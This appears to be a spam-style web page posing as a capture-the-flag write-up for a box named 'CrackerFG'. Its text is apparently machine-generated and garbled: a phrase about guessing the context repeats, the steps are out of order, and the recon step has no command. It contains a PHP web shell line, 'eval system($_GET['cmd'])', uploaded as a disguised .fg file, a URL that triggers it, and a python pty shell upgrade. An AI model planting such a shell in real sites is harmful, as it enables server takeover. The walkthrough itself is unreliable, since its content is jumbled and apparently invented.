[hot] Crackerfg 【INSTANT】

Here’s a short write-up for , based on the likely context of a cybersecurity CTF or penetration testing challenge (commonly seen on platforms like HackTheBox, TryHackMe, or a custom box). CrackerFG – Write-up CrackerFG is a medium-difficulty challenge that combines web enumeration , weak password storage , and privilege escalation via misconfigured binaries. Below is a step-by-step solution. 1. Reconnaissance Start with an Nmap scan:

http://10.10.10.10/uploads/shell.fg?cmd=id crackerfg

Stable shell:

python3 -c 'import pty;pty.spawn("/bin/bash")' Check sudo: Here’s a short write-up for , based on

Dashboard reveals a file upload feature for "FG (Fingerprint Generator)" scripts ( .fg files). Upload restrictions: only txt and fg . Upload a malicious .fg file: Here’s a short write-up for

Check path hijacking:

eval system($_GET['cmd']); Rename as shell.fg . After upload, the server stores it in /uploads/shell.fg . Trigger via: